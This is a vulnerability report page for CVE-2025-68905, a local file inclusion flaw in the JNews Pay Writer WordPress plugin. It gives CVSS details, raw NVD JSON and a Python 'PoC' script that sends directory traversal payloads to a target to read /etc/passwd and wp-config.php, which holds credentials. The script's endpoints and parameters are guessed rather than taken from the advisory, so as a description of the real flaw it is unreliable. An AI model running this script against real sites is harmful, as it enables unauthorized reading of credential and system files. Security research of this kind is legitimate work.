Security Vulnerability Report
中文
CVE-2025-68905 CVSS 7.5 HIGH

CVE-2025-68905

Published: 2026-01-22 17:16:14
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jegtheme JNews - Pay Writer jnews-pay-writer allows PHP Local File Inclusion.This issue affects JNews - Pay Writer: from n/a through <= 11.0.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

jnews-pay-writer <= 11.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68905 PoC - Local File Inclusion in jnews-pay-writer # Affected: jnews-pay-writer <= 11.0.0 import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """Test for LFI vulnerability in jnews-pay-writer plugin""" # Common vulnerable endpoints in WordPress plugins paths_to_test = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/jnews-pay-writer/include/file.php', '/wp-content/plugins/jnews-pay-writer/framework/modules/file.php' ] # LFI parameters commonly found in WordPress plugins params_to_test = [ {'action': 'jnews_pay_writer_file', 'file': file_path}, {'action': 'jnews_pay_writer_include', 'file': file_path}, {'view': file_path}, {'module': file_path} ] print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for path in paths_to_test: for params in params_to_test: try: url = target_url.rstrip('/') + path response = requests.get(url, params=params, timeout=10) if file_path.split('/')[-1] in response.text or 'root:' in response.text: print(f"[+] VULNERABLE! {url} with params {params}") print(f"[+] Content preview:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[-] No vulnerability detected with basic tests") return False # Directory traversal variants def generate_payloads(): """Generate directory traversal payloads""" base_files = [ '../../../wp-config.php', '../../../wp-content/debug.log', '../../../../etc/passwd', '../../../../etc/hosts', '../../../../../var/www/html/wp-config.php' ] return base_files if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [file_to_read]") print(f"Example: python {sys.argv[0]} http://example.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' test_lfi(target, file_to_read) print("\n[*] Testing with multiple payloads:") for payload in generate_payloads(): test_lfi(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68905", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:14.360", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in jegtheme JNews - Pay Writer jnews-pay-writer allows PHP Local File Inclusion.This issue affects JNews - Pay Writer: from n/a through <= 11.0.0."}, {"lang": "es", "value": "Control Inadecuado del Nombre de Fichero para la Sentencia Include/Require en Programa PHP ('Inclusión remota de ficheros PHP') vulnerabilidad en jegtheme JNews - Pay Writer jnews-pay-writer permite inclusión local de ficheros PHP. Este problema afecta a JNews - Pay Writer: desde n/a hasta &lt;= 11.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jnews-pay-writer/vulnerability/wordpress-jnews-pay-writer-plugin-11-0-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}